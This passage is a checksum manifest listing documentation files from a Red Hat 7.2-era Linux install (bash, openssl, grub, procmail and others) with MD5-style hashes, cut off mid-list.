/usr/share/doc/setserial-2.17/README +6784c665fb3ae6ebffc18fa9dc84ceb4 /usr/share/doc/shadow-utils-20000902/README.linux +5af8907ed58ed79b767706a5e87b6c43 /usr/share/doc/shadow-utils-20000902/ANNOUNCE +bca558df779166a947c365d51503af25 /usr/share/doc/shadow-utils-20000902/CHANGES +142722336e4a9e7dfba5569a60776a0d /usr/share/doc/shadow-utils-20000902/HOWTO +97104a9d201fc894a8b64d8cbbbabaad /usr/share/doc/shadow-utils-20000902/LICENSE +5fa7f17efdd0ee947ccf582c520976d5 /usr/share/doc/shadow-utils-20000902/README +4ad2dbeb91c949dd896e4b0c3b60589c /usr/share/doc/newt-0.50.33/CHANGES +55ca817ccb7d5b5b66355690e9abc605 /usr/share/doc/newt-0.50.33/COPYING +f8187abd1ed9080c830aecea489b6854 /usr/share/doc/syslinux-1.52/distrib.doc +0636e73ff0215e8d672dc4c32c317bb3 /usr/share/doc/syslinux-1.52/COPYING +23363974312ea83fb803096b811cef2b /usr/share/doc/syslinux-1.52/NEWS +827a1fa21b66ad6a7106b252f7db0971 /usr/share/doc/syslinux-1.52/README +69d57755e71dbbbcfa78db095ac4c478 /usr/share/doc/syslinux-1.52/keytab-lilo.doc +9d573978860e156a4c688d211159de7a /usr/share/doc/syslinux-1.52/pxelinux.doc +2d4e33c601e48bfa23148615e993500f /usr/share/doc/syslinux-1.52/syslinux.doc +315bc2ec8de2ba325261d3aac71c1f7b /usr/share/doc/bash-2.05/POSIX.NOTES +78a3c1c3154454530cb6ebf2e72810bb /usr/share/doc/bash-2.05/CHANGES +059154ab88560ef7fdb67ecbe2afd944 /usr/share/doc/bash-2.05/COMPAT +a3eb58697ca93c7b61997f63242d4e8c /usr/share/doc/bash-2.05/FAQ +846697acb9912668a33659a10c5a4ce2 /usr/share/doc/bash-2.05/INTRO +32eec7ac4789597979e1620e4264d1f3 /usr/share/doc/bash-2.05/NEWS +ce30458cbc944d4a6ebb980b594c823b /usr/share/doc/bash-2.05/NOTES +80db709bf50e02d7fceed23e5e5a5bbd /usr/share/doc/bash-2.05/bashdb/PERMISSION +3ec7644f39f6f354298fc10e9159f4fe /usr/share/doc/bash-2.05/bashdb/README +8a00905dc79fc09ca8aa5edb29c21e1e /usr/share/doc/bash-2.05/bashdb/bashdb +aaef60d0e94014f39cec4de108d18f98 /usr/share/doc/bash-2.05/bashdb/bashdb.fns +8b2c8cf95d18b566590eae9426068efe /usr/share/doc/bash-2.05/bashdb/bashdb.pre +39d72c29ee83c674304f445ba12c3d4d /usr/share/doc/bash-2.05/misc/aliasconv.bash +2c56ea10af8a400a6b2e02bdaa505777 /usr/share/doc/bash-2.05/misc/aliasconv.sh +bc8f29d582bc866b7bf1e6032e379804 /usr/share/doc/bash-2.05/misc/cshtobash +949fedfde6e4c2a142dad30c2e14a685 /usr/share/doc/bash-2.05/misc/suncmd.termcap +30a939d95d303801cc5c50ccf372ba86 /usr/share/doc/bash-2.05/article.ms +33a84a37d8b89534040b7d3b23ea2856 /usr/share/doc/bash-2.05/functions/array-to-string +a9c69412d7cd4cd1cdf4db1dc34a0e40 /usr/share/doc/bash-2.05/functions/array-stuff +e55167814cc1a2a005b236e935cae8a1 /usr/share/doc/bash-2.05/functions/getoptx.bash +0ba67f9ac54efa335082172f0c99d4ab /usr/share/doc/bash-2.05/functions/autoload +47a59ce52f61acf1dda5c32b3734e681 /usr/share/doc/bash-2.05/functions/autoload.v2 +5497dc71a15aecda2b92fa3c8d9f8fe6 /usr/share/doc/bash-2.05/functions/autoload.v3 +30475ae08dbd322648983009a3e680a6 /usr/share/doc/bash-2.05/functions/basename +7f8155aa2c64cb7789cf3a82058f6f22 /usr/share/doc/bash-2.05/functions/basename2 +2b85c9093327f63e18afc9c8715288d8 /usr/share/doc/bash-2.05/functions/csh-compat +b07e1882df355f2006a9a4e48cec34ba /usr/share/doc/bash-2.05/functions/dirfuncs +8419b192560031fa4af782142f414d19 /usr/share/doc/bash-2.05/functions/dirname +7821ec52e5340a06e112d34421a6e66f /usr/share/doc/bash-2.05/functions/emptydir +0a98830263fa724251ae5cb8eee552d0 /usr/share/doc/bash-2.05/functions/exitstat +8081bb6e1ca28b95529b0290e78c8dcc /usr/share/doc/bash-2.05/functions/external +48d6c6666fc3dae143fafa264ef3ea17 /usr/share/doc/bash-2.05/functions/fact +c8e834a42c97bbbe48c24f277ca35477 /usr/share/doc/bash-2.05/functions/fstty +807602c46c832ea3b49511f760880ad8 /usr/share/doc/bash-2.05/functions/func +607313ba1c9379368052131129a8c1d8 /usr/share/doc/bash-2.05/functions/gethtml +b3c97d83661b82e8de7b8884a547bc41 /usr/share/doc/bash-2.05/functions/ksh-compat-test +b917df0c0553796de0d55a4e499b3d14 /usr/share/doc/bash-2.05/functions/inetaddr +b73ebed3a79a0b53ac799609a0bb93d7 /usr/share/doc/bash-2.05/functions/inpath +67a45bee8da8a913502aa53387096e9d /usr/share/doc/bash-2.05/functions/isnum.bash +46e87d6e4445d20d556d795a9b90c0f8 /usr/share/doc/bash-2.05/functions/isnum2 +48d16cc44d8d16c5061489689305d5db /usr/share/doc/bash-2.05/functions/jdate.bash +99a7c171494a3a785a9ab209c3f855c2 /usr/share/doc/bash-2.05/functions/jj.bash +e64db70bfa4d377f09cbca4517329b86 /usr/share/doc/bash-2.05/functions/keep +6f3232255957d5a983de50089dddc6be /usr/share/doc/bash-2.05/functions/ksh-cd +f5fd116d8e7b3137346d46a5dc9ba464 /usr/share/doc/bash-2.05/functions/lowercase +6a62da926d03ccff95bff8c63f0e2f88 /usr/share/doc/bash-2.05/functions/kshenv +76c6f826cf49808988a1bb4660a55482 /usr/share/doc/bash-2.05/functions/login +48953d1297f8e8b465041e2ce2f090f8 /usr/share/doc/bash-2.05/functions/notify.bash +92188787b4f45f32f946176b387c4f9a /usr/share/doc/bash-2.05/functions/manpage +7e003683ca4bf40776c5aab3a0b86869 /usr/share/doc/bash-2.05/functions/mhfold +48edd1660bc8d34290b7773a7f724952 /usr/share/doc/bash-2.05/functions/sort-pos-params +dcbb5fed409f05e6ef9511bebab32ba2 /usr/share/doc/bash-2.05/functions/pathfuncs +d8b286c8144ed18280d9626bfaac3b09 /usr/share/doc/bash-2.05/functions/recurse +862b102bc094e8d29bc6928c578ac86e /usr/share/doc/bash-2.05/functions/repeat2 +8c73b75c27f38e482d721e35268dd189 /usr/share/doc/bash-2.05/functions/repeat3 +f539ea9d6862b80cf0b0a88fe2008e1b /usr/share/doc/bash-2.05/functions/seq +914302df27bd4b4c66ea52945123ab35 /usr/share/doc/bash-2.05/functions/seq2 +b66d2256006f8176af5f7fc97c61af78 /usr/share/doc/bash-2.05/functions/shcat +66891139570c7d7f9f52243c880f23da /usr/share/doc/bash-2.05/functions/shcat2 +01e086b3a4cb81d23e1415ddefee3113 /usr/share/doc/bash-2.05/functions/xalias.bash +8f692372147c47a8086a65cd35c26771 /usr/share/doc/bash-2.05/functions/substr +50ea5147c5a96d1ed1901644b5e81016 /usr/share/doc/bash-2.05/functions/substr2 +75945f7bb6c6123c084fdf51f225e42a /usr/share/doc/bash-2.05/functions/term +6fb9f8f2f0907dc5ebb894dee5d45b8d /usr/share/doc/bash-2.05/functions/whatis +41cc942d4c00a273051a1d9ac17cb88b /usr/share/doc/bash-2.05/functions/whence +2931401df0dde8397cfb4682febbf4f6 /usr/share/doc/bash-2.05/functions/which +83a78ecd6531864796abc59083097c6b /usr/share/doc/bash-2.05/functions/xfind.bash +f545f5e83947aff9e67752455b0d051f /usr/share/doc/bash-2.05/scripts/adventure.sh +6b90b176a644b2b7f7a2fa6e0a27163e /usr/share/doc/bash-2.05/scripts/bcsh.sh +cb6e1f74c012fef756a47b4941687d81 /usr/share/doc/bash-2.05/scripts/cat.sh +00d67a9fb86bfcab124d18fab2bafd3a /usr/share/doc/bash-2.05/scripts/center +5822f8b9c22e2b13e81aceabe452ed2d /usr/share/doc/bash-2.05/scripts/dd-ex.sh +b3a27d96b60f278d9d19b45d322890b4 /usr/share/doc/bash-2.05/scripts/fixfiles.bash +9395d1c6412d3c5079d6f8862b589ea0 /usr/share/doc/bash-2.05/scripts/hanoi.bash +04f21afef7e45b5992f4c89044887872 /usr/share/doc/bash-2.05/scripts/inpath +8a05ad1f664ca018b48a9b834091f49e /usr/share/doc/bash-2.05/scripts/krand.bash +40f0c69daaa4257d72b8898637f094a2 /usr/share/doc/bash-2.05/scripts/line-input.bash +f6810c52c13c3e79fd727be51b3f58da /usr/share/doc/bash-2.05/scripts/nohup.bash +48f2166789fc68b8662e41f14247324d /usr/share/doc/bash-2.05/scripts/precedence +649447f51e113d45808fac5f3160d9a3 /usr/share/doc/bash-2.05/scripts/randomcard.bash +2ad19ab2f5d97b3736a1d9d6770d456f /usr/share/doc/bash-2.05/scripts/scrollbar +632cff505c4b1a3aa22e720454ae40e2 /usr/share/doc/bash-2.05/scripts/scrollbar2 +825ad976925d5ceca19fafa92c896747 /usr/share/doc/bash-2.05/scripts/showperm.bash +ba4033fbc41a0ec2749d8ed5858d9a02 /usr/share/doc/bash-2.05/scripts/shprompt +a4d0ca7a864544ef339ccd12c8a1b8fd /usr/share/doc/bash-2.05/scripts/spin.bash +e0a620c36512fc8d3765b124b61ff289 /usr/share/doc/bash-2.05/scripts/timeout +7311c5bc81c1ee341ef5a19cb4c8ae2c /usr/share/doc/bash-2.05/scripts/vtree2 +b0e5f7610c852d938af6278ffd7a88eb /usr/share/doc/bash-2.05/scripts/vtree3 +d5a1168d6c9d3806c6cf68f4150f4f65 /usr/share/doc/bash-2.05/scripts/vtree3a +7ab6bb4441704111a279f25be826365c /usr/share/doc/bash-2.05/scripts/websrv.sh +61accef410142c27b354e796631b82d1 /usr/share/doc/bash-2.05/scripts/xterm_title +3ee9a7e72253741ad53719838194672d /usr/share/doc/bash-2.05/scripts/zprintf +4d54dcddea5b7e6709dd8012f913e60f /usr/share/doc/bash-2.05/scripts.noah/bash.sub.bash +50b0fbd6e5f6c0754255ed25c83ae509 /usr/share/doc/bash-2.05/scripts.noah/PERMISSION +88422338a0a18d4fe68044856b3f27e7 /usr/share/doc/bash-2.05/scripts.noah/README +ccffbad16329f601115ed567efd055f5 /usr/share/doc/bash-2.05/scripts.noah/aref.bash +4c496bf1df0808400b8ba5a882a70928 /usr/share/doc/bash-2.05/scripts.noah/bash_version.bash +73af950b6821c381e221899fc765b6a2 /usr/share/doc/bash-2.05/scripts.noah/meta.bash +97df87ec42ab09709f516a0ba54a4ab7 /usr/share/doc/bash-2.05/scripts.noah/mktmp.bash +57ee9f0281f9c6f48ba8ed6af0f63a1f /usr/share/doc/bash-2.05/scripts.noah/number.bash +5d66c972bb876194a1eb94db82ce6285 /usr/share/doc/bash-2.05/scripts.noah/prompt.bash +6ebcd82b4546c7d29f52c5838036acf3 /usr/share/doc/bash-2.05/scripts.noah/remap_keys.bash +479c830a502a6285e1c67ec21b95e623 /usr/share/doc/bash-2.05/scripts.noah/require.bash +e83849b261c9f19575919225c1db32ab /usr/share/doc/bash-2.05/scripts.noah/send_mail.bash +6ab1a61e02ec70445a5fa49a8388eeac /usr/share/doc/bash-2.05/scripts.noah/shcat.bash +1702668fc3157cf5b72fe18ff8c53398 /usr/share/doc/bash-2.05/scripts.noah/source.bash +57392dd1cbcff5dce5de303c0d332a1e /usr/share/doc/bash-2.05/scripts.noah/string.bash +3937e5a6ea07916819d67cf7db47e26c /usr/share/doc/bash-2.05/scripts.noah/stty.bash +ef294e73b922b518053760461b2ab501 /usr/share/doc/bash-2.05/scripts.noah/y_or_n_p.bash +be41ef824b8a9eb7978659c5e088b104 /usr/share/doc/bash-2.05/scripts.v2/cal2day.bash +ca05bb0716f7acd5871cdb8c2ae6f752 /usr/share/doc/bash-2.05/scripts.v2/PERMISSION +0c58f71766ea5b0aedb567e4f7ea588a /usr/share/doc/bash-2.05/scripts.v2/README +2a052bba4c825b408faf58b23900a3bc /usr/share/doc/bash-2.05/scripts.v2/arc2tarz +1011b9cd871013290ad87479cfa818ad /usr/share/doc/bash-2.05/scripts.v2/bashrand +f0f2c7f34ac6d96d180e2e0bd7893f58 /usr/share/doc/bash-2.05/scripts.v2/cdhist.bash +dde727331628db83cead03cbc89e1a83 /usr/share/doc/bash-2.05/scripts.v2/corename +80b2b6ab0e0c48610c4769c753b52004 /usr/share/doc/bash-2.05/scripts.v2/fman +58289bd7d1d02043549dedd65c030f3f /usr/share/doc/bash-2.05/scripts.v2/frcp +598cce77d991ca2a3a11d0503ea85e42 /usr/share/doc/bash-2.05/scripts.v2/lowercase +6e017a4970c85a23407c11b836ecd8a1 /usr/share/doc/bash-2.05/scripts.v2/ncp +e6b92778fb63235d300eb74639847305 /usr/share/doc/bash-2.05/scripts.v2/newext +6e017a4970c85a23407c11b836ecd8a1 /usr/share/doc/bash-2.05/scripts.v2/nmv +fc406d8dc0a0e9357b5ae013f83dca5e /usr/share/doc/bash-2.05/scripts.v2/pages +6fc4150f0641a179fb872d4425833f1a /usr/share/doc/bash-2.05/scripts.v2/pf +b2d613cee17e6f3cb0383cdab3fe9a30 /usr/share/doc/bash-2.05/scripts.v2/pmtop +1fcfcd7acd1a9fad4fc4ff17770646a7 /usr/share/doc/bash-2.05/scripts.v2/rename +6f34b99d5fdff8d20cd35bd007953496 /usr/share/doc/bash-2.05/scripts.v2/repeat +4b9d2fab56ab2420b4cec4f1197044e9 /usr/share/doc/bash-2.05/scripts.v2/shprof +72dd83d9a53386cbd30ec28bd1797f31 /usr/share/doc/bash-2.05/scripts.v2/untar +bce826d4985ff59b0f6fd93d25f34bce /usr/share/doc/bash-2.05/scripts.v2/uudec +103e9b30fa23550902c73db4ec96c028 /usr/share/doc/bash-2.05/scripts.v2/uuenc +51fea925116c87bab4bbf28ee138aa34 /usr/share/doc/bash-2.05/scripts.v2/vtree +55175e35462b163bc27dc080320bf738 /usr/share/doc/bash-2.05/scripts.v2/where +e5fc110561063a7e5103c99b8edcaf19 /usr/share/doc/bash-2.05/startup-files/apple/bash.defaults +c92aa5474a29e71d2da761a409518510 /usr/share/doc/bash-2.05/startup-files/apple/README +110b20f35da8e5f7faf9e9008e3495de /usr/share/doc/bash-2.05/startup-files/apple/aliases +06cdb2260ebd090de0775081801c595f /usr/share/doc/bash-2.05/startup-files/apple/environment +415ea73bc6943e873fd5dcce34e8d2c4 /usr/share/doc/bash-2.05/startup-files/apple/login +79455fc83bdba1c962f27050a677194e /usr/share/doc/bash-2.05/startup-files/apple/logout +5845a6d63a90157b5dff966971d92c39 /usr/share/doc/bash-2.05/startup-files/apple/rc +9e44323492b53d3077947d669b08660f /usr/share/doc/bash-2.05/startup-files/bashrc +dfd390d9795b66bf9638e4372e72be95 /usr/share/doc/bash-2.05/startup-files/Bash_aliases +d0fc580a63d260f91f2fe6b6d1f1a5c1 /usr/share/doc/bash-2.05/startup-files/Bash_profile +3cc42a98baae32de6535fa8e8c5cd9ae /usr/share/doc/bash-2.05/startup-files/Bashrc.bfox +999e3f87ec82ace545a5b2b992bcf78f /usr/share/doc/bash-2.05/startup-files/README +ff32d792be486576f9a62606c762d331 /usr/share/doc/bash-2.05/startup-files/bash-profile +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/bzip2-1.0.1/ChangeLog +ec61b6151b9668f24efc2d1bd2b80120 /usr/share/doc/bzip2-1.0.1/AUTHORS +cf0795265d667251a6b4ff42d9fd57aa /usr/share/doc/bzip2-1.0.1/COPYING +04febf2e0a925004cc4a599c6af6f285 /usr/share/doc/bzip2-1.0.1/Y2K_INFO +ce3c35d2be065a75e97e5ab7686af055 /usr/share/doc/bzip2-1.0.1/NEWS +523a3c79f3c8eef47af84c39eb6bddde /usr/share/doc/bzip2-1.0.1/README +cafa087ee225e4b0278ae6e1d9a9eaeb /usr/share/doc/bzip2-1.0.1/README.COMPILATION.PROBLEMS +e943c96cc6ffcd8b3c1af458cf428391 /usr/share/doc/hotplug-2001_04_24/ChangeLog +2c898f5c42f0ccc0ed7de100b50826c2 /usr/share/doc/hotplug-2001_04_24/README +b4a77c150c2070a02737879a9f145290 /usr/share/doc/iproute-2.2.4/README.iproute2+tc +c0da5a075c6b6b0292f9a88620d54eb8 /usr/share/doc/iproute-2.2.4/README.decnet +e786f42f93a9248bef486a22e5ce25f4 /usr/share/doc/iproute-2.2.4/examples/diffserv/Edge31-ca-u32 +ba01092a5db641cf6159a0be47cf240b /usr/share/doc/iproute-2.2.4/examples/diffserv/Edge1 +a47c929819e1e5dd283ea7b7ac371a73 /usr/share/doc/iproute-2.2.4/examples/diffserv/Edge2 +fb4757f77a5fa21a2efb854177456c4b /usr/share/doc/iproute-2.2.4/examples/diffserv/Edge31-cb-chains +05b752a51fcb2a8f355e412b476effc5 /usr/share/doc/iproute-2.2.4/examples/diffserv/Edge32-ca-u32 +a0dda8c7a577209344c178fc775f5d57 /usr/share/doc/iproute-2.2.4/examples/diffserv/Edge32-cb-chains +fadf94e29a78b1c18edcf1dd465270cd /usr/share/doc/iproute-2.2.4/examples/diffserv/Edge32-cb-u32 +3d489cd2a72c51ac47dac06cae45ae9a /usr/share/doc/iproute-2.2.4/examples/diffserv/README +31234852109d851177cfd9d8f59a258e /usr/share/doc/iproute-2.2.4/examples/diffserv/afcbq +c53b67b3afa4af57d50edccbaff8af87 /usr/share/doc/iproute-2.2.4/examples/diffserv/ef-prio +1687f43e530a8d3ff71d4c878c1dd10a /usr/share/doc/iproute-2.2.4/examples/diffserv/efcbq +cba55a4d0f9cd09fbc53b9efcf8d069d /usr/share/doc/iproute-2.2.4/examples/diffserv/regression-testing +7fba09df336fccaa9f0062c749e7e579 /usr/share/doc/iproute-2.2.4/examples/SYN-DoS.rate.limit +8edbaabf40b9ce5a8dc467e64ed341a5 /usr/share/doc/iproute-2.2.4/examples/cbqinit.eth1 +a7d1a8a42eaffe1d8192ff9d3a08f158 /usr/share/doc/iproute-2.2.4/examples/dhcp-client-script +472f2d41772a9609ce38bf323dff2ef0 /usr/share/doc/iproute-2.2.4/RELNOTES +012971ffa7977e74140861cbcaa7cef7 /usr/share/doc/iproute-2.2.4/api-ip6-flowlabels.ps +4b29daf845761ab42630a5a49f278bcb /usr/share/doc/iproute-2.2.4/ip-cref.ps +32ed6ebe6b2d1985aeeab6c612d67f55 /usr/share/doc/iproute-2.2.4/ip-tunnels.ps +e9211aac439364abaf677426755cc089 /usr/share/doc/groff-1.17.2/BUG-REPORT +f4faa663dbcfa15aee28e78c52255845 /usr/share/doc/groff-1.17.2/NEWS +67137f12da3d5ad7167e9f3c0ca7f477 /usr/share/doc/groff-1.17.2/PROBLEMS +c1f27d98cad3838b827d6bf0b98d8113 /usr/share/doc/groff-1.17.2/README +ee081049e0ced21ea082f4a24760043b /usr/share/doc/groff-1.17.2/README.A4 +52872ef95d5ee0e04c6320421839a314 /usr/share/doc/groff-1.17.2/TODO +2e611abe4ff808197feb9cfaf143b25a /usr/share/doc/groff-1.17.2/VERSION +5f5728c4e3c8d3d75a5951a77a0b6a1f /usr/share/doc/logrotate-3.5.9/CHANGES +f46b4543fec4465e39a7709c6aaddcd1 /usr/share/doc/MAKEDEV-3.2/devices.txt +94d55d512a9ba36caa9b7df079bae19f /usr/share/doc/MAKEDEV-3.2/COPYING +44fc8762e9018fe0559396962bd0a8e8 /usr/share/doc/ncurses-5.2/announce.html +05d1e3ab7196b000b267667d1698e6a9 /usr/share/doc/ncurses-5.2/ANNOUNCE +10acc6f607bd99f8be29979541eb7a93 /usr/share/doc/ncurses-5.2/README +ae86647d9359310952a80328a568f634 /usr/share/doc/cpio-2.4.2/NEWS +e4a691c471b4d5ec4be1962ef901aa44 /usr/share/doc/cpio-2.4.2/README +c66407f935918e73e5066216454b9674 /usr/share/doc/diffutils-2.7.2/NEWS +e50c12c3335dda6d5e1d647f416db609 /usr/share/doc/diffutils-2.7.2/README +88815b56bb59cdb811a322c7ace4734e /usr/share/doc/ed-0.2/NEWS +1f967afc87d1b01a8b8d87cdd1d59447 /usr/share/doc/ed-0.2/POSIX +79c937c9894feaa1a3a6c79ed8dc74f4 /usr/share/doc/ed-0.2/README +114b15eae9c974bd9d71e560387e40ea /usr/share/doc/ed-0.2/THANKS +ef11564ccd2881c65a06c9b0d6f7deec /usr/share/doc/fileutils-4.1/ABOUT-NLS +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/fileutils-4.1/AUTHORS +94d55d512a9ba36caa9b7df079bae19f /usr/share/doc/fileutils-4.1/COPYING +a10b3c4caf704d3f3d4a4fd90e6c4dce /usr/share/doc/fileutils-4.1/ChangeLog +1b6d34557c488e1abf8db2bbd9603e62 /usr/share/doc/fileutils-4.1/NEWS +793580a324000da80d919f673946008e /usr/share/doc/fileutils-4.1/README +2320f09ebefaceb31e14dc3e68fa8041 /usr/share/doc/fileutils-4.1/THANKS +fc5d8370c376bd188e451bd18b8f8ce8 /usr/share/doc/fileutils-4.1/TODO +833deac8fcb179568773fa8a3a3cd770 /usr/share/doc/at-3.1.8/ChangeLog +ab71b069efb87d2c69ecbe79f05cc1ae /usr/share/doc/at-3.1.8/Copyright +38c61cea8340b1d2191535464235fd6a /usr/share/doc/at-3.1.8/Problems +51d8d3a6bb43b461ec5be50e18d2c0cd /usr/share/doc/at-3.1.8/README +835427650f96c79d38687fd5c33a45bd /usr/share/doc/at-3.1.8/timespec +3aeb968184f52c4d40d246bc7f578e33 /usr/share/doc/findutils-4.1.7/NEWS +9971ece846d47b4bb66f872d17a67c89 /usr/share/doc/findutils-4.1.7/README +80af0fffd8b833d3bec84ba6726d1bd5 /usr/share/doc/gawk-3.1.0/LIMITATIONS +94d55d512a9ba36caa9b7df079bae19f /usr/share/doc/gawk-3.1.0/COPYING +0187273b74704c78282ecbf10ad0b969 /usr/share/doc/gawk-3.1.0/FUTURES +29344ac65ace9c9223d96056bd1fa33c /usr/share/doc/gawk-3.1.0/INSTALL +4810aba4bbe6f7eba395aa75af02e78a /usr/share/doc/gawk-3.1.0/NEWS +2eceb9342170bfb320eac57efda01e0d /usr/share/doc/gawk-3.1.0/README +ef11564ccd2881c65a06c9b0d6f7deec /usr/share/doc/grep-2.4.2/ABOUT-NLS +a7d37973e4bc7240ccb3e59fecbd4e9a /usr/share/doc/grep-2.4.2/AUTHORS +5622020ad185626496d89d77471faa24 /usr/share/doc/grep-2.4.2/ChangeLog +8ff1f204283026233facba295b41f487 /usr/share/doc/grep-2.4.2/NEWS +4d3f356f682d0a25c17826d96404a869 /usr/share/doc/grep-2.4.2/README +5e9732b204e42ddfee30045422b7cec8 /usr/share/doc/grep-2.4.2/THANKS +b6df9624f15c665f7e65715f48d6442a /usr/share/doc/grep-2.4.2/TODO +1cc660a10676cdcdd88719e7c08d4861 /usr/share/doc/dhcpcd-1.3.18pl8/dhcpcd-eth0.exe +348fd91fbdc379eb1978e09fab510539 /usr/share/doc/dhcpcd-1.3.18pl8/README +3b8725ba84bfde5d249b33d9c35b6469 /usr/share/doc/grub-0.90/ChangeLog +27be01169ea60dc4a67d40dbe9772ce8 /usr/share/doc/grub-0.90/AUTHORS +c93c0550bd3173f4504b2cbd8991e50b /usr/share/doc/grub-0.90/COPYING +23fb67f682b89b265f39f93192274b04 /usr/share/doc/grub-0.90/menu.lst +2447bb5670ed026d6d5e3af0a622802e /usr/share/doc/grub-0.90/NEWS +4b9202cb071e608a1dbfb985d8296650 /usr/share/doc/grub-0.90/README +aba1e81058ec9971bdb9c6fb2dbb0e4a /usr/share/doc/grub-0.90/TODO +5fe912692929692c00218ac87a03c978 /usr/share/doc/gzip-1.3/ChangeLog +c5dafa47bec6b3bdf6cbbf53174b195b /usr/share/doc/gzip-1.3/AUTHORS +a7500970e02f3acde499f515bcc83c4f /usr/share/doc/gzip-1.3/NEWS +13f638a9c4ed8a5ee2cf109e4d112db3 /usr/share/doc/gzip-1.3/README +92817006787e5975e594dd9a28700bc9 /usr/share/doc/gzip-1.3/THANKS +a6cdb28c82a083db6776b93a0ca3bfa1 /usr/share/doc/gzip-1.3/TODO +b0636ec3126c442f289be958fd44b790 /usr/share/doc/openssl-0.9.6b/c-indentation.el +4b5b53a5d7c6dfff979ef3bf1f590694 /usr/share/doc/openssl-0.9.6b/CHANGES +0a202aeed43d76382f63e6194ef085f9 /usr/share/doc/openssl-0.9.6b/FAQ +e1e7aa298ac2c8186875cea7680b5e45 /usr/share/doc/openssl-0.9.6b/INSTALL +d78c29e726a7f74dd9282db08a172f56 /usr/share/doc/openssl-0.9.6b/LICENSE +f89c91325f412a950c829056237edb88 /usr/share/doc/openssl-0.9.6b/NEWS +1da26f993e9537600028735d50e4dd34 /usr/share/doc/openssl-0.9.6b/README +ba600652e87c769ac55d9f285e681d6c /usr/share/doc/openssl-0.9.6b/openssl_button.gif +61df7b1b3f075d959868beec2995bd87 /usr/share/doc/openssl-0.9.6b/openssl.txt +1725a641ea5c25c764936d912d3353ab /usr/share/doc/openssl-0.9.6b/openssl_button.html +2a60708af166fb758b2961610dc47319 /usr/share/doc/openssl-0.9.6b/ssleay.txt +0725bc11c5b4782cfcf2376fa303ec76 /usr/share/doc/procmail-3.21/examples/procmail-rpm.spec +8a496fad67c14d28efab4b7fb73100ab /usr/share/doc/procmail-3.21/examples/1procmailrc +22fecb8b284796822170e0b944ca3cf4 /usr/share/doc/procmail-3.21/examples/1rmail +12a0008f5ce791d192f1356a3106aeae /usr/share/doc/procmail-3.21/examples/2procmailrc +b6f2b584388b4fbd7ade080eecf60053 /usr/share/doc/procmail-3.21/examples/2rmail +303714ca6948cef91f24d1bf412d7598 /usr/share/doc/procmail-3.21/examples/3procmailrc +9768577687efb6e5228aab37d7b219d2 /usr/share/doc/procmail-3.21/examples/3rmail +a44dd25cdd980038797acd438fe85716 /usr/share/doc/procmail-3.21/examples/advanced +6c6c524f0afac134841f092f5ac63d01 /usr/share/doc/procmail-3.21/examples/dirname +c32416c9e9a7ba2740b690c50e045299 /usr/share/doc/procmail-3.21/examples/forward +71c53f5c0c0529f82b5a4a01a77feddc /usr/share/doc/procmail-3.21/examples/mailstat +e34309f0e3f1947a68c65b51769e54fe /usr/share/doc/procmail-3.21/examples/local_procmail_lmtp.m4 +505e00d03c3428cde21b17b2a386590e /usr/share/doc/procmail-3.21/Artistic +a71e50e197a992c862379e576e669757 /usr/share/doc/procmail-3.21/COPYING +3b741724e56278729f2d3e40d8975957 /usr/share/doc/procmail-3.21/FAQ +b41ae6285cc64f35c720e8350ad6d38c /usr/share/doc/procmail-3.21/FEATURES +9c3d2d6b2a36cde49d6c5c13ae36d107 /usr/share/doc/procmail-3.21/HISTORY +f06699f62c0cd568cfcadca5fdd24be4 /usr/share/doc/procmail-3.21/KNOWN_BUGS +fb296c7b5414a2fe4101ae3800cd81c5 /usr/share/doc/procmail-3.21/README +191443351d1ceff7a2c7c2a853029125 /usr/share/doc/procps-2.0.7/BUGS +de884df12b6622b8991f85a2b27dce60 /usr/share/doc/procps-2.0.7/NEWS +181f04fcfa12bc68a57cd1aac1dc3170 /usr/share/doc/procps-2.0.7/TODO +9b34ffb68af4b40a659754edd136d1a4 /usr/share/doc/raidtools-0.90/raidtab.sample +5e74bd7742a161e0c1381ab9c7aa8843 /usr/share/doc/raidtools-0.90/COPYING +af9838d3b769b66444f1b4db1eb5d538 /usr/share/doc/raidtools-0.90/README +5a12c5285d776c925100c32f5bbfb121 /usr/share/doc/raidtools-0.90/multipath.conf.sample +7892f2b80ecf88d789a41d782885b1cd /usr/share/doc/raidtools-0.90/raid0.conf.sample +6832c31690a4a9f1906d0ac4711fc767 /usr/share/doc/raidtools-0.90/raid1.conf.sample +848ba7cbff37de9214d672f40b6b1f04 /usr/share/doc/raidtools-0.90/raid4.conf.sample +06c520a7542787519eff1c76eded0689 /usr/share/doc/raidtools-0.90/raid5.conf.sample +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/redhat-release-7.2/6.2/CVS +3a29749d78ae63f12e7c524f70cbc195 /usr/share/doc/redhat-release-7.2/6.2/RELEASE-NOTES-i386 +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/redhat-release-7.2/7.0/CVS +895e006562da198efa02b24d19368a87 /usr/share/doc/redhat-release-7.2/7.0/RELEASE-NOTES-i386 +d41d8cd98f00b204e9800998ecf8427e /usr/share/doc/redhat-release-7.2/7.1/CVS +5f8a789a70198552a3af41d7471d24d7 /usr/share/doc/redhat-release-7.2/7.1/RELEASE-NOTES-i386.de +8c0f905b4c601870f62a0877cad8aaa2 /usr/share/doc/redhat-release-7.2/7.1/RELEASE-NOTES-i386 +f8cabe90e9173456ffee3b969c504afd /usr/share/doc/redhat-release-7.2/7.1/RELEASE-NOTES-i386.es +e2e1388ade7de9350edf0edc4921779c /usr/share/doc/redhat-release-7.2/7.1/RELEASE-NOTES-i386.fr +084eb5a5125f6d1c6884a52105bff133 /usr/share/doc/redhat-release-7.2/7.1/RELEASE-NOTES-i386.it +d39a2994641439edf5cf0d8f3d18ea2a /usr/share/doc/redhat-release-7.2/7.1/RELEASE-NOTES-i386.ja +04c6e24c3ecb45028f566296253a7d52 /usr/share/doc/redhat-release-7.2/README-i386 +8cb01dd230eb0d74c8301a89cc8f607e /usr/share/doc/redhat-release-7.2/COPYING +337c1c7809d6a4c12ae60fc124cc1f24 /usr/share/doc/redhat-release-7.2/RELEASE-NOTES-i386 +d46052f6ff42f5ef13633cb050a69b95 /usr/share/doc/redhat-release-7.2/README-i386.de +5bb8313a2277b09b8363fde692b3a59c /usr/share/doc/redhat-release-7.2/README-i386.es +5a8a46e93738a8e4dd63c4c43ccf0e30 /usr/share/doc/redhat-release-7.2/README-i386.fr +4cdcc8e2704282de7edb604e2ed077d5 /usr/share/doc/redhat-release-7.2/README-i386.it +fcce84f42c53da3959f3da2a05af5800 